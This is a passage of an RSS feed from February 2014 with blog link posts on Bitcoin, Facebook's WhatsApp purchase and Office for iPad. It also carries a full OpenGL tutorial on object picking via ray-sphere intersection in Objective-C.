                &lt;p&gt;&lt;a href="http://filmschoolrejects.com/news/meet-the-guardians-of-the-galaxy.php"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 24 Feb 2014 11:33:19 GMT</pubDate><guid isPermaLink="true">http://filmschoolrejects.com/news/meet-the-guardians-of-the-galaxy.php</guid></item><item><title>Marginally Useful</title><link>http://www.technologyreview.com/review/524691/marginally-useful/</link><description>&lt;p&gt;Interesting article from MIT&amp;#8217;s Technology Review on Bitcoin&amp;#8217;s potential uses outside of a new currency. I have written to the topic of Bitcoin a &lt;a href="https://zacs.site/blog/thoughts-on-bitcoin.html"&gt;few times&lt;/a&gt; in &lt;a href="https://zacs.site/blog/how-bitcoin-will-plummet.html"&gt;the past&lt;/a&gt;, but beyond covering it here I have had no interaction with Bitcoin whatsoever. Nevertheless, it remains a topic of great interest to me, and will undoubtedly go on to play a significant role in the future of not only global currencies, but internet commerce of all types as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.technologyreview.com/review/524691/marginally-useful/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 24 Feb 2014 11:06:23 GMT</pubDate><guid isPermaLink="true">http://www.technologyreview.com/review/524691/marginally-useful/</guid></item><item><title>The Social Conglomerate</title><link>http://stratechery.com/2014/social-conglomerate/</link><description>&lt;p&gt;For the most part I stayed away from articles attempting to explain Facebook&amp;#8217;s reasoning in acquiring WhatsApp. That is, until Ben Thompson posted his take, where he continued the &amp;#8220;company-as-conglomerate&amp;#8221; &lt;a href="http://ben-evans.com/benedictevans/2014/2/19/ways-of-thinking-about-google"&gt;trend&lt;/a&gt; in dubbing Facebook the Social Conglomerate. Although I found myself nodding in agreement to the majority of his post, I did take issue with one bit: towards the end, Ben called Apple a personal computing conglomerate; however, I believe a more apt designation would call Apple the quality conglomerate, pursuing excellence in not only hardware, but every aspect of the computing experience. One could certainly argue their effectiveness across the board&amp;#160;&amp;#8212;&amp;#160;iCloud probably being the poster child against using &amp;#8220;quality&amp;#8221; as the operative word in that sentence&amp;#160;&amp;#8212;&amp;#160;but you get points for trying in this game, not only for succeeding; case and point Facebook and WhatsApp.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/social-conglomerate/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 24 Feb 2014 09:57:02 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/social-conglomerate/</guid></item><item><title>The simplest and most important dashboard for early stage startups.</title><link>https://klinger.io/posts/the-simplest-and-most-important-dashboard-for-early-stage-startups</link><description>This blogpost is part of a small series of posts that cover the basics of startup metrics. My personal goal is to help early stage...</description><author>Blog posts of Andreas Klinger</author><pubDate>Mon, 24 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://klinger.io/posts/the-simplest-and-most-important-dashboard-for-early-stage-startups</guid></item><item><title>Experiment 14: Object Picking</title><link>https://whackylabs.com/opengl/2014/02/23/object-picking/</link><description>&lt;p&gt;This article is part of the Experiments with OpenGL series&lt;/p&gt;

&lt;p&gt;The source code is available at https://github.com/chunkyguy/EWOGL&lt;/p&gt;

&lt;p&gt;Every game at some point requires the user to interact with the 3D world. Probably in the form of a mouse click event firing bullets at targets or like a touch drag on a mobile device to rotate the view on the screen. This is called object picking, because most probably we are picking objects in our 3D space using mouse or touch screen from the device space.&lt;/p&gt;

&lt;p&gt;How I like to picture this problem is, that we have a point in the device coordinate system and we would like to ray trace it back to some relevant 3D coordinate system, like the world space or probably the model space.&lt;/p&gt;

&lt;p&gt;In the fixed function pipeline days there was a gluUnProject function which helped in this ray tracing, and still most developers like to use it. Even the GLKit provides a similar GLKMathUnproject function. Basically, this function requires a modelview matrix, a projection matrix, a viewport or the device coordinates and a 3D vector in device coordinate and it returns back the vector transformed to the object space.&lt;/p&gt;

&lt;p&gt;With modern OpenGL, we don’t need to use that function. First of all it requires us to provide all the matrices seperately, and secondly, it returns the vector in model space, but our needs could be different, maybe we need it in some other space. Or we don’t need the vector at all, rather, just a bool flag to indicate whether the object can be picked or not.&lt;/p&gt;

&lt;p&gt;At the core, we just need two things: a way to transform our touch point from device space to the clip space and an inverse of model-view-projection matrix to transform it from the clip space to the object’s model space.&lt;/p&gt;

&lt;p&gt;Lets assume we have a scene with two rotating cubes and we need to handle the touch events on the screen and test if the touch point a collision with any of the objects in the scene. If the collision does happens, we just change the color of that cube.&lt;/p&gt;

&lt;p&gt;First problem is to convert the touch point from iPhone’s coordinates system to the OpenGL’s coordinate system. Which is easy as it just means we need to flip the y-coordinate&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="cm"&gt;/* calculate window size */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;winSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector2Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CGRectGetWidth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;CGRectGetHeight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="cm"&gt;/* touch point in window space */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;point&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector2Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;touch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;winSize&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="k"&gt;-&lt;/span&gt;&lt;span class="n"&gt;touch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;transform&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;point&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;normalized&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="n"&gt;coordinates&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;or&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;range&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;


  &lt;span class="cm"&gt;/* touch point in viewport space */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;pointNDC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector2SubtractScalar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKVector2MultiplyScalar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKVector2Divide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;winSize&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next question that we need to tackle is, how to calculate a 3D vector from a device space, as the device is a 2D space. We need to remember that after the projection transformations are applied the depth of the scene is reduces to the range of [-1, 1].
So, we can use this fact and calculate the 3D positions at both the depth locations.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="cm"&gt;/* touch point in 3D for both near and far planes */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector4&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector4Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pointNDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pointNDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector4Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pointNDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pointNDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, we need to calculate the inverse of the model-view-projection matrix&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;invMVP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Invert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mvp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, we have all the things required to trace our ray&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="cm"&gt;/* ray at near and far plane in the object space */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector4&lt;/span&gt; &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MultiplyVector4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invMVP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MultiplyVector4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invMVP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember the values could be in the homogenous coordinates system, to convert them back to human-imaginable cartesian coordinate system we need to divide by the w component.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="cm"&gt;/* covert rays from homogenous coordsys to cartesian coordsys */&lt;/span&gt;
  &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector4DivideScalar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector4DivideScalar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We don’t need the start and end of the ray, but we need the ray in form of&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; R = o + dt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Where o is the ray origin and d is the ray direction and t is the variable.&lt;/p&gt;

&lt;p&gt;We calculate the ray direction as&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="cm"&gt;/* direction of the ray */&lt;/span&gt;
  &lt;span class="n"&gt;GLKVector4&lt;/span&gt; &lt;span class="n"&gt;rayDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector4Normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKVector4Subtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Why is it normalized? We will take look at that later.&lt;/p&gt;

&lt;p&gt;Now we have the ray in the object space. We can simply to a sphere intersection test. We must already know the radius of the bounding sphere, if not we can easily calculate it. Like for a cube, I’m assuming the radius to be equal to the half edge of any side.&lt;/p&gt;

&lt;p&gt;For detailed information regarding a ray-sphere intersection test I recommend this article, but I’ll go through the minimum that we need to accomplish our goal.&lt;/p&gt;

&lt;p&gt;Let points on surface of sphere of radius r is given by&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;x^2 + y^2 + z^2 = r^2
P^2 - r^2 = 0; where P = {x, y, z}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;All points on sphere where ray hits should obey&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;(o + dt)^2 - r^2 = 0
o^2 + (dt)^2 + 2odt - r^2 = 0
f(t) = (d^2)t^2 + (2od)t + (o^2 - r^2) = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a quadratic equation in form&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; ax^2 + bx + c = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, it makes sense, because every ray can hit the sphere a maximum two points, first when it goes in the sphere and second when it leaves the sphere.&lt;/p&gt;

&lt;p&gt;The determinant of the quadratic equation is calculated as&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;det = b^2 - 4ac
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If determinant is &amp;lt; 0 it means no roots or the ray misses the sphere
If determinant is equal 0 means one root or the ray started from the inside of the sphere or it just touches it.
If determinant is &amp;gt; 0 means we have two roots, or the perfect case of ray passing through the sphere.&lt;/p&gt;

&lt;p&gt;In our equation the values of a, b, c are&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;a = d^2 = 1; as d is a normalized vector and dot(d, d) = 1
b = 2od
c = o^2 - r^2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, if we have ray with direction normalized we can simply test if it hits our sphere in model space with&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;hitTestSphere&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;radius&lt;/span&gt;
        &lt;span class="nf"&gt;withRayOrigin&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;GLKVector3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;rayOrigin&lt;/span&gt;
         &lt;span class="nf"&gt;rayDirection&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;GLKVector3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;rayDir&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector3DotProduct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayOrigin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rayDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector3DotProduct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayOrigin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rayOrigin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"b^2-4ac = %f x %f = %f&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hope this helps you in understanding the object picking concept. Don’t forget to checkout the full code from the repository linked at the top of this article.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 23 Feb 2014 19:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/opengl/2014/02/23/object-picking/</guid></item><item><title>Who cares about Office for iPad?</title><link>http://reverttosaved.com/2014/02/19/who-cares-about-office-for-ipad/</link><description>&lt;p&gt;More of a problem than not having Microsoft Office available for iOS, I think, is the strict siloing Apple&amp;#8217;s mobile operating system enforces: I can fulfill all my Office-related needs with Pages, Numbers, and Keynote, but trying to find away around the cumbersome process of opening a document in Dropbox, sending it to Numbers for editing, and then finding a way to get it back into Dropbox so my seventy-five year old uncle can edit the spreadsheet on his computer is a massive barrier to entry for him buying an iPad; in the end, I had no choice but to recommend a Surface. Although the absence of cellular capabilities in the Surface is thankfully pushing him back towards the iPad, the mere fact that I had no choice but to recommend the former highlights a huge shortcoming in the latter.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://reverttosaved.com/2014/02/19/who-cares-about-office-for-ipad/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Feb 2014 11:04:48 GMT</pubDate><guid isPermaLink="true">http://reverttosaved.com/2014/02/19/who-cares-about-office-for-ipad/</guid></item><item><title>The Existential Plight Of The Video Game Hero</title><link>http://vintagezen.com/zen/2014/2/17/existential-plight-video-game-hero</link><description>&lt;p&gt;Looking for a fun read over the slow weekend? Check out Linus Edwards&amp;#8217; article &lt;em&gt;The Existential Plight Of The Video Game Hero&lt;/em&gt;. I planned on linking to it in my newsletter shortly after he published the piece earlier this week on Monday, but got mired in &lt;a href="https://zacs.site/blog/me-the-writer.html"&gt;the uncertainty that ultimately led to that newsletter ending&lt;/a&gt; before I got the chance. Unfortunately, it&amp;#8217;s a pretty short read. I look forward to seeing more work in this genre from him in the future though, so if you&amp;#160;&amp;#8212;&amp;#160;like me&amp;#160;&amp;#8212;&amp;#160;really enjoy this piece, check back often: I doubt either of us will have to wait long.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/2/17/existential-plight-video-game-hero"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Feb 2014 09:56:10 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/2/17/existential-plight-video-game-hero</guid></item><item><title>How Goroutines Work</title><link>https://nindalf.com/posts/how-goroutines-work/</link><description>This article explains the differences between goroutines and threads and how goroutines work in Go programming language.</description><author>Krishna's blog</author><pubDate>Sun, 23 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/how-goroutines-work/</guid></item><item><title>Progress on KaraPy</title><link>https://korz.dev/2014/02/progress-on-karapy/</link><description>&lt;p&gt;&lt;em&gt;This is a follow-up on my previous article &lt;a href="https://korz.dev/2014/02/updating-karas-python/"&gt;Updating Kara&amp;rsquo;s Python&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;KaraPy &amp;ndash; the Kara replacement I have been working on using Python &amp;ndash; is nearing its open source release.
